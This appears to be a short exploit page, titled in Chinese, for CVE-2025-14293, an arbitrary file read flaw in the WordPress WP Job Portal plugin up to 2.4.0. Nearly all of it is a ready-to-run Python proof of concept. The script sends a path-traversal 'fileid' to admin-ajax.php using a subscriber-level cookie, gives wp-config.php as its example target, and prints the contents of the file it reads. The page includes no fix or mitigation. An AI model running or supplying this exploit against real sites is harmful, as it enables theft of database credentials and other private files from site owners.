CVE-2025-14293 WordPress WP Job Portal插件任意文件读取漏洞

import requests import sys from urllib.parse import urlencode # CVE-2025-14293 PoC - WP Job Portal Arbitrary File Read # Affected: WP Job Portal <= 2.4.0 def exploit(target_url, cookie, file_path): """ Exploit arbitrary file read vulnerability in WP Job Portal Args: target_url: Base URL of the WordPress site cookie: Valid session cookie (Subscriber-level or higher) file_path: Path to the file to read (e.g., ../../wp-config.php) """ # Target endpoint with path traversal endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct the malicious request params = { 'action': 'downloadCustomUploadedFile', 'fileid': f'../../../{file_path}' } headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(endpoint, params=params, headers=headers, timeout=30) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully read file: {file_path}") print(f"[+] File size: {len(response.content)} bytes") print("\n--- File Content ---") print(response.text[:5000]) # Print first 5000 chars return True else: print(f"[-] Failed to read file. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-14293.py <target_url> <cookie> <file_path>") print("Example: python cve-2025-14293.py http://example.com 'wordpress_logged_in_xxx=yyy' 'wp-config.php'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] file_path = sys.argv[3] exploit(target, cookie, file_path)